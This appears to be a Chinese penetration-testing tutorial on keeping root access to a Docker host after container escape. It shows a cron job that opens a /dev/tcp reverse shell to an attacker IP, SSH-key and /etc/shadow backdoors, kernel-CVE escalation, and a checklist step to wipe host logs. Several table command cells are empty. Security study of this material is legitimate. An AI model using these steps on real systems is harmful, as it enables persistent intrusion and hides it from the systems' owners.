云原生安全——Docker容器逃逸后提权技术
成功逃逸Docker容器只是第一步,如何在宿主机上建立持久化、高权限的后门,是渗透测试的关键环节。本笔记从实战视角出发,系统梳理容器逃逸后的四种核心提权与权限维持技术:写入SSH公钥、写入计划任务、破解/修改shadow密文、利用宿主机内核CVE漏洞。

1. 逃逸后提权:核心思路
核心前提:通过特权模式(--privileged)、Docker Socket挂载或API未授权等方式逃逸后,攻击者已获得宿主机文件系统的读写能力(通常通过挂载宿主机根目录到容器内某路径实现)。在此基础上,可执行以下操作。
2. 写入SSH公钥(推荐首选)
原理:将攻击者控制的SSH公钥写入宿主机的/root/.ssh/authorized_keys文件,即可绕过密码验证,直接以root身份SSH登录宿主机。
适用场景:宿主机SSH服务开启(22端口开放)。
操作步骤:
|
步骤 |
操作 |
命令示例 |
|
1. 生成密钥对 |
在攻击机生成SSH密钥 |
|
|
2. 查看公钥 |
复制公钥内容 |
|
|
3. 写入宿主机 |
将公钥追加到authorized_keys |
|
|
4. SSH登录 |
使用私钥连接宿主机 |
|
注意事项:
- 若
/root/.ssh/目录不存在,需先创建:mkdir -p /挂载路径/root/.ssh/ - 确保authorized_keys文件权限为600:
chmod 600 /挂载路径/root/.ssh/authorized_keys
3. 写入计划任务(Cron Job)
原理:通过向宿主机的cron任务文件写入反弹Shell命令,系统每分钟自动执行,从而获得持久化的root权限Shell。
不同发行版的cron路径:
|
发行版 |
路径 |
|
CentOS/RHEL |
|
|
Ubuntu/Debian |
|
|
Alpine Linux |
|
|
通用系统任务 |
|
操作示例(CentOS):
echo '* * * * * /bin/bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1' >> /挂载路径/var/spool/cron/root
等待约1分钟,攻击机监听端口即可收到root权限的反弹Shell。
4. 破解/修改/etc/shadow密文
原理:读取宿主机/etc/shadow文件中的密码哈希,利用hashcat等工具离线破解,获取root明文密码。
操作步骤:
|
步骤 |
操作 |
命令示例 |
|
1. 读取shadow |
从挂载目录读取shadow文件 |
|
|
2. 提取root哈希 |
复制root用户的密码哈希段 |
格式: |
|
3. 离线破解 |
使用hashcat破解 |
|
|
4. 获取明文密码 |
破解成功后用密码登录 |
|
hashcat参数说明:
-m 1800:指定哈希类型为sha512crypt(Linux默认)-a 0:字典攻击模式- 也可使用
john(John the Ripper)替代
直接修改shadow(无需破解):
若仅需快速获取权限,可直接修改shadow文件,将root密码替换为己知哈希:
# 先生成新密码哈希
openssl passwd -6 新密码
# 将生成的哈希替换shadow中root的密码段
5. 利用宿主机内核CVE漏洞
原理:容器与宿主机共享同一内核,若宿主机内核存在已知提权漏洞,可直接在容器内执行EXP获得宿主机root权限。
常见容器逃逸/提权相关CVE:
|
CVE编号 |
影响组件 |
说明 |
|
CVE-2026-34040 |
Docker Engine |
授权绕过,允许攻击者通过构造API请求逃逸至宿主机 |
|
CVE-2026-32311 |
Docker |
命令注入 + 容器逃逸,可在宿主机获得root权限 |
|
CVE-2026-6406 |
Docker Desktop |
ECI隔离绕过漏洞 |
|
CVE-2024-41110 |
Docker Engine |
授权插件绕过漏洞 |
|
CVE-2022-0847 |
Linux内核 |
Dirty Pipe,任意只读文件覆写 |
|
CVE-2016-5195 |
Linux内核 |
Dirty COW,写时拷贝竞争条件 |
操作思路:
- 在容器内执行
uname -r获取宿主机内核版本 - 使用
linux-exploit-suggester等工具筛选可用CVE - 上传对应EXP,编译执行,获得宿主机root Shell
6. 渗透测试实战Checklist
1. 确认逃逸成功
- [ ] 已通过特权模式/Docker Socket/API未授权等方式逃逸
- [ ] 宿主机根目录已挂载到容器内某路径(如/mnt或/test)
- [ ] 验证可读取宿主机文件:`ls /挂载路径/root/`
2. 建立持久化后门
- [ ] 写入SSH公钥:`echo '公钥' > /挂载路径/root/.ssh/authorized_keys`
- [ ] 写入计划任务:`echo '* * * * * 反弹命令' >> /挂载路径/var/spool/cron/root`
3. 获取root密码(可选)
- [ ] 读取shadow:`cat /挂载路径/etc/shadow`
- [ ] 使用hashcat/john离线破解
- [ ] 或直接替换shadow中的root密码哈希
4. 内核漏洞利用(备选)
- [ ] 检测宿主机内核版本:`uname -r`
- [ ] 使用linux-exploit-suggester筛选可用CVE
- [ ] 上传并执行EXP
5. 清理痕迹
- [ ] 清除容器内命令历史:`history -c`
- [ ] 清除宿主机日志(/var/log/)
7. 防御建议(从渗透视角反推)
|
风险点 |
加固措施 |
|
特权容器 |
禁止使用 |
|
SSH公钥写入 |
禁用root SSH登录;使用密钥+密码双因素认证 |
|
计划任务 |
限制 |
|
shadow文件 |
使用强密码策略;定期更换密码 |
|
内核漏洞 |
及时更新宿主机内核,启用livepatch热修复 |
|
Docker API暴露 |
禁止2375端口暴露公网;启用TLS认证 |
更多推荐
所有评论(0)